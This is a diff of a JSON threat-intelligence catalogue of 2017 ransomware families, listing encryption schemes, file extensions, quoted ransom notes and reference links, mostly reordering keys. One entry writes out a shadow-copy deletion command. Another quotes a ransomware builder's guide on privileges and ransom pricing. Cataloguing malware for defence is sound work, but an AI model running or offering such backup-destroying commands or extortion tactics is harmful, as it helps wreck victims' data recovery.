+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html",
- "https://twitter.com/demonslay335?lang=en",
- "https://twitter.com/malwrhunterteam/status/842781575410597894"
+ "date": "March 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".ZINO"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-t1Q-a7sJlag/WMw8MBNIrkI/AAAAAAAAET4/aycY-m5GXVYQjcbZJ8N0kIfUZ3onYt8AgCLcB/s1600/note.jpg",
"ZINO_NOTE.TXT"
],
- "encryption": "AES",
- "extensions": [
- ".ZINO"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/zinocrypt-ransomware.html",
+ "https://twitter.com/demonslay335?lang=en",
+ "https://twitter.com/malwrhunterteam/status/842781575410597894"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "ZinoCrypt Ransomware",
- "uuid": "719c8ba7-598e-4511-a851-34e651e301fa"
+ "uuid": "719c8ba7-598e-4511-a851-34e651e301fa",
+ "value": "ZinoCrypt Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3's UAC bypass",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84",
- "http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc",
- "https://twitter.com/malwrhunterteam/status/839467168760725508"
+ "date": "March 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".crptxxx"
],
"ransomnotes": [
"https://2.bp.blogspot.com/-itq9nR2EedY/WM2OPtDKCgI/AAAAAAAAEUI/KcC8vtnmlHENz0CSOvxqoYeZL8qdx1IZgCLcB/s1600/note_2.png",
"HOW_TO_FIX_!.txt"
],
- "encryption": "AES",
- "extensions": [
- ".crptxxx"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/crptxxx-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/609690/ultracrypter-cryptxxx-ultradecrypter-ransomware-help-topic-crypt-cryp1/page-84",
+ "http://www.fixinfectedpc.com/uninstall-crptxxx-ransomware-from-pc",
+ "https://twitter.com/malwrhunterteam/status/839467168760725508"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Uses @enigma0x3's UAC bypass",
- "value": "Crptxxx Ransomware",
- "uuid": "786ca8b3-6915-4846-8f0f-9865fbc295f5"
+ "uuid": "786ca8b3-6915-4846-8f0f-9865fbc295f5",
+ "value": "Crptxxx Ransomware"
},
{
+ "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html",
- "https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/",
- "https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/"
+ "date": "March 2017",
+ "extensions": [
+ ".enc"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-suCNGXgzWuM/WM7HPujx_qI/AAAAAAAAEUk/gIvzbsbB_BUrBmmBsgpb_8w7zjwudu_mACLcB/s1600/note_2.png",
"motd.txt"
],
- "extensions": [
- ".enc"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/motd-ransomware.html",
+ "https://www.bleepingcomputer.com/forums/t/642409/motd-of-ransome-hostage/",
+ "https://www.bleepingcomputer.com/forums/t/642409/motd-ransomware-help-support-topics-motdtxt-and-enc-extension/"
+ ]
},
- "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "MOTD Ransomware",
- "uuid": "5d1a3631-165c-4091-ba55-ac8da62efadf"
+ "uuid": "5d1a3631-165c-4091-ba55-ac8da62efadf",
+ "value": "MOTD Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html",
- "https://twitter.com/PolarToffee/status/843527738774507522"
+ "date": "March 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".devil"
],
"ransomnotes": [
"https://1.bp.blogspot.com/-i5iUwC8XWDo/WM7dSVNQ8UI/AAAAAAAAEVY/uXmUErkLgHcWbfpdw1zGTvwY9DimiAH8wCLcB/s1600/lock-panel.jpg",
"https://1.bp.blogspot.com/-9ovaMSUgtFQ/WM7dXo84tlI/AAAAAAAAEVc/_Zx9gZuvHA0tU9-jtzP492bXa5fQiL7kgCLcB/s1600/key-price.jpg"
],
- "encryption": "AES",
- "extensions": [
- ".devil"
- ],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/cryptodevil-ransomware.html",
+ "https://twitter.com/PolarToffee/status/843527738774507522"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "CryptoDevil Ransomware",
- "uuid": "f3ead274-6c98-4532-b922-03d5ce4e7cfc"
+ "uuid": "f3ead274-6c98-4532-b922-03d5ce4e7cfc",
+ "value": "CryptoDevil Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html",
- "https://twitter.com/struppigel/status/837565766073475072"
- ],
- "ransomnotes": [
- "https://3.bp.blogspot.com/-QuBYcLAKRPU/WLnE3Rn3MhI/AAAAAAAAEH4/WnC5Ke11j4MO7wmnfqBhtA-hpx6YN6TBgCLcB/s1600/note_2.png"
- ],
+ "date": "February 2017",
"encryption": "AES-256+RSA",
"extensions": [
".locked"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "https://3.bp.blogspot.com/-QuBYcLAKRPU/WLnE3Rn3MhI/AAAAAAAAEH4/WnC5Ke11j4MO7wmnfqBhtA-hpx6YN6TBgCLcB/s1600/note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/fabsyscrypto-ransomware.html",
+ "https://twitter.com/struppigel/status/837565766073475072"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
- "value": "FabSysCrypto Ransomware",
- "uuid": "e4d36930-2e00-4583-b5f5-d8f83736d3ce"
+ "uuid": "e4d36930-2e00-4583-b5f5-d8f83736d3ce",
+ "value": "FabSysCrypto Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html"
- ],
- "ransomnotes": [
- "https://4.bp.blogspot.com/-FllHGqIx_JQ/WL1QF2uMCCI/AAAAAAAAEJQ/Fn-8j2t8dwgSo8YTHM1iOkL-3U_hbcaKwCLcB/s1600/Note_2.png"
- ],
+ "date": "March 2017",
"encryption": "AES+RSA",
"extensions": [
"[file_name.file_ext].id-[UserID]__contact_me_lock2017@protonmail.com_or_lock2017@unseen.is"
],
- "date": "March 2017"
+ "ransomnotes": [
+ "https://4.bp.blogspot.com/-FllHGqIx_JQ/WL1QF2uMCCI/AAAAAAAAEJQ/Fn-8j2t8dwgSo8YTHM1iOkL-3U_hbcaKwCLcB/s1600/Note_2.png"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/lock2017-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Lock2017 Ransomware",
- "uuid": "cf47a853-bc1d-42ae-8542-8a7433f6c9c2"
+ "uuid": "cf47a853-bc1d-42ae-8542-8a7433f6c9c2",
+ "value": "Lock2017 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html"
- ],
+ "date": "March 2017",
"encryption": "AES",
"extensions": [
".Horas-Bah"
],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/redants-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "RedAnts Ransomware",
- "uuid": "dd3601f1-df0a-4e67-8a20-82e7ba0ed13c"
+ "uuid": "dd3601f1-df0a-4e67-8a20-82e7ba0ed13c",
+ "value": "RedAnts Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html"
- ],
+ "date": "March 2017",
"encryption": "AES",
"extensions": [
".locked"
],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/consoleapplication1-ransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "ConsoleApplication1 Ransomware",
- "uuid": "4c3788d6-30a9-4cad-af33-81f9ce3a0d4f"
+ "uuid": "4c3788d6-30a9-4cad-af33-81f9ce3a0d4f",
+ "value": "ConsoleApplication1 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/836995570384453632"
- ],
+ "date": "March 2017",
"encryption": "AES",
"extensions": [
".kr3"
],
- "date": "March 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/03/krider-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/836995570384453632"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "KRider Ransomware",
- "uuid": "f5ac03f1-4f6e-43aa-836a-cc7ece40aaa7"
+ "uuid": "f5ac03f1-4f6e-43aa-836a-cc7ece40aaa7",
+ "value": "KRider Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg",
"meta": {
+ "date": "February 2017",
"refs": [
"https://id-ransomware.blogspot.co.il/search?updated-min=2017-01-01T00:00:00-08:00&updated-max=2018-01-01T00:00:00-08:00&max-results=50"
- ],
- "date": "February 2017"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. The following note is what you get if you put in the wrong key code: https://3.bp.blogspot.com/-qsS0x-tHx00/WLM3kkKWKAI/AAAAAAAAEDg/Zhy3eYf-ek8fY5uM0yHs7E0fEFg2AXG-gCLcB/s1600/failed-key.jpg",
- "value": "CYR-Locker Ransomware (FAKE)",
- "uuid": "44f6d489-f376-4416-9ba4-e153472f75fc"
+ "uuid": "44f6d489-f376-4416-9ba4-e153472f75fc",
+ "value": "CYR-Locker Ransomware (FAKE)"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html"
+ "date": "February 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked"
],
"ransomnotes": [
"DotRansomware Setup Guide \nAttention!!! \nWe recommend you to build your ransomware inside virtual machine! (But it is safe to use builder on your PC, just don't run builded exe file on your PC!) \nRecommendation: If you have got possibility to run ransomware on victim's computer with administrator privileges then do it. Because it will provide better conversion. Recommended decryption price: 0.1 Recommended special decryption prices: FR|0.15|FI|0.15|IE|0.15|IS|0.15|AU|0.15|BE|0.15|CA|0.15|AT|0.15|DK|0.15|SE|0.15|DE|0.15|NL|0.15|SA|0.2|US|0.2|HK|0.2|LU|0.2|CH|0.2|NO|0.2|AE|0.2|SG|0.2|KW|0.2|MO|0.2|QA|0.2 Recommended attacked extensions: *** Recommendation: You need to test builded exe file inside virtual machine, because operability can be broken after crypt/pack of core! \nLinks to website: ***",
"https://4.bp.blogspot.com/-BoKI2-Lhsp8/WLHq34zCtdI/AAAAAAAAECo/YkfIG29vRRsLvdn51ctrMEypptRzZS2IgCLcB/s1600/raas.png"
],
- "encryption": "AES",
- "extensions": [
- ".locked"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/dotransomware.html"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "DotRansomware",
- "uuid": "0570e09d-10b9-448c-87fd-c1c4063e6592"
+ "uuid": "0570e09d-10b9-448c-87fd-c1c4063e6592",
+ "value": "DotRansomware"
},
{
+ "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/"
+ "date": "February 2017",
+ "encryption": "AES",
+ "extensions": [
+ ".locked-[3_random_chars]"
],
"ransomnotes": [
"https://4.bp.blogspot.com/-92aP_sumdLo/WLAy3D2kLvI/AAAAAAAAEAQ/FA1j--rOIygsNbDAWqrDqufT7zSwuEnvQCLcB/s1600/note-html_2.png",
"https://3.bp.blogspot.com/-E1vV0sqaw2o/WLB1OvOLCPI/AAAAAAAAEAg/D4OkAOBT_uM4DeVS1hAu6eBGcmga8CSYwCLcB/s1600/site1.png",
"ReadMe-[3_random_chars].html"
],
- "encryption": "AES",
- "extensions": [
- ".locked-[3_random_chars]"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/unlock26-ransomware.html",
+ "https://www.bleepingcomputer.com/news/security/new-raas-portal-preparing-to-spread-unlock26-ransomware/"
+ ]
},
- "description": "About: This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments.All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "Unlock26 Ransomware",
- "uuid": "37b9a28d-8554-4233-b130-efad4be97bc0"
+ "uuid": "37b9a28d-8554-4233-b130-efad4be97bc0",
+ "value": "Unlock26 Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html",
- "https://twitter.com/JakubKroustek/status/834821166116327425"
- ],
- "ransomnotes": [
- "READ_ME_TO_DECRYPT.txt"
- ],
+ "date": "February 2017",
"encryption": "AES",
"extensions": [
".EnCrYpTeD"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "READ_ME_TO_DECRYPT.txt"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/pickles-ransomware.html",
+ "https://twitter.com/JakubKroustek/status/834821166116327425"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Python Ransomware",
- "value": "PicklesRansomware",
- "uuid": "87171865-9fc9-42a9-9bd4-a453f556f20c"
+ "uuid": "87171865-9fc9-42a9-9bd4-a453f556f20c",
+ "value": "PicklesRansomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html",
- "https://twitter.com/JAMESWT_MHT/status/834783231476166657"
- ],
+ "date": "February 2017",
+ "encryption": "ChaCha20 and Poly1305",
"ransomnotes": [
"NOT YOUR LANGUAGE? https://translate.google.com Your personal files and documents have been encrypted withAES-256 and RSA-2048! Decrypting your files is only possible with decrypt key stored on our server. Price for key is % bitcoin % BTC (Bitcoin).\n1. Send % bitcoin % BTC to % bitcoinaddress % http://www.coindesk.com/information/how-can-i-buy-bitcoins/ https://www.bitcoin.com/buy-bitcoin \n2. Wait some time for transaction to process \n3. PRIVATE KEY WILL BE DOWNLOADED AND SYSTEM WILL AUTOMATICALLY DECRYPT YOUR FILES! \nIf you do not pay within % hoursvalid % hours key will become DESTROYED and your files LOST forever! Removing this software will make recovering files IMPOSSIBLE! Disable your antivirus for safety."
],
- "encryption": "ChaCha20 and Poly1305",
- "date": "February 2017"
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/vanguard-ransomware.html",
+ "https://twitter.com/JAMESWT_MHT/status/834783231476166657"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This ransomware poses at MSOffice to fool users into opening the infected file. GO Ransomware",
- "value": "Vanguard Ransomware",
- "uuid": "6a6eed70-3f90-420b-9e4a-5cce9428dc06"
+ "uuid": "6a6eed70-3f90-420b-9e4a-5cce9428dc06",
+ "value": "Vanguard Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html",
- "https://twitter.com/Jan0fficial/status/834706668466405377"
- ],
- "ransomnotes": [
- "ATTENTION You Have Been Infected With Ransomware. Please Make Note of Your Unique Idenfier : *** "
- ],
+ "date": "February 2017",
"encryption": "ChaCha20 and Poly1305",
"extensions": [
".d4nk"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "ATTENTION You Have Been Infected With Ransomware. Please Make Note of Your Unique Idenfier : *** "
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/pyl33t-ransomware.html",
+ "https://twitter.com/Jan0fficial/status/834706668466405377"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "PyL33T Ransomware",
- "uuid": "305cb1fb-d43e-4477-8edc-90b34aaf227f"
+ "uuid": "305cb1fb-d43e-4477-8edc-90b34aaf227f",
+ "value": "PyL33T Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg",
"meta": {
- "refs": [
- "https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/",
- "https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/"
- ],
- "ransomnotes": [
- "https://www.bleepstatic.com/images/news/u/986406/Ransomware/TrumpLocker/TrumpLocker-wallpaper.jpg",
- "What happen to my files.txt"
- ],
+ "date": "February 2017",
"encryption": "AES-128",
"extensions": [
".trumplockerf",
".TheTrumpLockerf",
".TheTrumpLockerfp"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "https://www.bleepstatic.com/images/news/u/986406/Ransomware/TrumpLocker/TrumpLocker-wallpaper.jpg",
+ "What happen to my files.txt"
+ ],
+ "refs": [
+ "https://www.bleepingcomputer.com/news/security/new-trump-locker-ransomware-is-a-fraud-just-venuslocker-in-disguise/",
+ "https://id-ransomware.blogspot.co.il/2017/02/trumplocker.html",
+ "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-february-24th-2017-trump-locker-macos-rw-and-cryptomix/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. This is the old VenusLocker in disquise .To delete shadow files use the following commend: C:\\Windows\\system32\\wbem\\wmic.exe shadowcopy delete&exit https://2.bp.blogspot.com/-8qIiBHnE9yU/WK1mZn3LgwI/AAAAAAAAD-M/ZKl7_Iwr1agYtlVO3HXaUrwitcowp5_NQCLcB/s1600/lock.jpg",
- "value": "TrumpLocker Ransomware",
- "uuid": "63bd845c-94f6-49dc-8f0c-22e6f67820f7"
+ "uuid": "63bd845c-94f6-49dc-8f0c-22e6f67820f7",
+ "value": "TrumpLocker Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html",
- "https://decrypter.emsisoft.com/damage",
- "https://twitter.com/demonslay335/status/835664067843014656"
- ],
- "ransomnotes": [
- "TtWGgOd57SvPlkgZ***\n ==========\n end of secret_key \nTo restore your files - send e-mail to damage@india.com"
- ],
+ "date": "February 2017",
"encryption": "AES-128 OR Combination of SHA-1 and Blowfish",
"extensions": [
".damage"
],
- "date": "February 2017"
+ "ransomnotes": [
+ "TtWGgOd57SvPlkgZ***\n ==========\n end of secret_key \nTo restore your files - send e-mail to damage@india.com"
+ ],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/damage-ransomware.html",
+ "https://decrypter.emsisoft.com/damage",
+ "https://twitter.com/demonslay335/status/835664067843014656"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Written in Delphi",
- "value": "Damage Ransomware",
- "uuid": "fbcb6a4f-1d31-4e31-bef5-e162e35649de"
+ "uuid": "fbcb6a4f-1d31-4e31-bef5-e162e35649de",
+ "value": "Damage Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html",
- "https://twitter.com/malwrhunterteam/status/833636006721122304"
+ "date": "February 2017",
+ "encryption": "AES-128",
+ "extensions": [
+ "your files get marked with: “youarefucked”"
],
"ransomnotes": [
"All your files has been encrypted with RSA-2048 and AES-128. There is no way to decrypt without private key and decrypt program. You can buy the private key and the decrypt program just for 0.2 BTC (Bitcoin) You have 48 hours to buy it. After that, your private key will gone and we can't guarantee to decrypt.Email me for more information about how to buy it at cyberking@indonesianbacktrack.or.id"
],
+ "refs": [
+ "https://id-ransomware.blogspot.co.il/2017/02/xyzware-ransomware.html",
+ "https://twitter.com/malwrhunterteam/status/833636006721122304"
+ ]
+ },
+ "uuid": "f0652feb-a104-44e8-91c7-b0435253352b",
+ "value": "XYZWare Ransomware"
+ },
+ {
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
+ "meta": {
+ "date": "February 2017",
"encryption": "AES-128",
"extensions": [
"your files get marked with: “youarefucked”"
],
- "date": "February 2017"
- },
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. Based on HiddenTear",
- "value": "XYZWare Ransomware",
- "uuid": "f0652feb-a104-44e8-91c7-b0435253352b"
- },
- {
- "meta": {
- "refs": [
- "https://www.enigmasoftware.com/youarefuckedransomware-removal/"
- ],
"ransomnotes": [
"https://1.bp.blogspot.com/-S0-Bop8XUgk/WLD_RVgldgI/AAAAAAAAEBU/r2LmgjTHUbMTtIKGH2pHdKfFXcUEOQdMgCLcB/s1600/lock-act2.png"
],
- "encryption": "AES-128",
- "extensions": [
- "your files get marked with: “youarefucked”"
- ],
- "date": "February 2017"
+ "refs": [
+ "https://www.enigmasoftware.com/youarefuckedransomware-removal/"
+ ]
},
- "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc..",
- "value": "YouAreFucked Ransomware",
- "uuid": "912af0ef-2d78-4a90-a884-41f3c37c723b"
+ "uuid": "912af0ef-2d78-4a90-a884-41f3c37c723b",
+ "value": "YouAreFucked Ransomware"
},
{
+ "description": "This is most likely to affect English speaking users, since the note is written in English. English is understood worldwide, thus anyone can be harmed. The hacker spread the virus using email spam, fake updates, and harmful attachments. All your files are compromised including music, MS Office, Open Office, pictures, videos, shared online files etc.. ",
"meta": {
- "refs": [
- "https://id-ransomware.blogspot.co.il/2017/02/cryptconsole-2-ransomware.html",
- "https://www.bleepingcomputer.com/news/security/the-week-in-ransomware-june-8th-2018-crybrazil-cryptconsole-and-magniber/"
- ],
